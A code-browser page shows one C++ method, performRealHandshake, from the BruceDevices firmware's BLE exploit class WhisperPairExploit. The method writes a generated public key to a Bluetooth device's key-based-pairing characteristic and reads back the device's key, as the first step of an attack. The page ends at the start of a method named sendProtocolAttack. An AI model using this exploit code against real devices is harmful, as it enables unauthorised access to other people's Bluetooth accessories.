MCPcopy Create free account
hub / github.com/BruceDevices/firmware / performRealHandshake

Method performRealHandshake

src/modules/ble/BLE_Suite.cpp:976–1002  ·  view source on GitHub ↗

Source from the content-addressed store, hash-verified

974}
975
976bool WhisperPairExploit::performRealHandshake(NimBLERemoteCharacteristic *kbpChar, uint8_t *devicePubKey) {
977 if (!kbpChar) return false;
978 uint8_t public_key[65];
979 size_t pub_len = 65;
980 if (!crypto.generateValidKeyPair(public_key, &pub_len)) return false;
981
982 uint8_t seeker_hello[67] = {0};
983 seeker_hello[0] = 0x00;
984 seeker_hello[1] = 0x00;
985 memcpy(&seeker_hello[2], public_key, 65);
986
987 bool success = kbpChar->writeValue(seeker_hello, 67, true);
988 if (!success) return false;
989
990 delay(200);
991 try {
992 std::string response = kbpChar->readValue();
993 if (response.length() >= 67) {
994 const uint8_t *respData = (const uint8_t *)response.data();
995 if (respData[0] == 0x00 && respData[1] == 0x00) {
996 memcpy(devicePubKey, &respData[2], 65);
997 return true;
998 }
999 }
1000 } catch (...) { return false; }
1001 return false;
1002}
1003
1004bool WhisperPairExploit::sendProtocolAttack(
1005 NimBLERemoteCharacteristic *kbpChar, const uint8_t *devicePubKey

Callers

nothing calls this directly

Calls 1

generateValidKeyPairMethod · 0.80

Tested by

no test coverage detected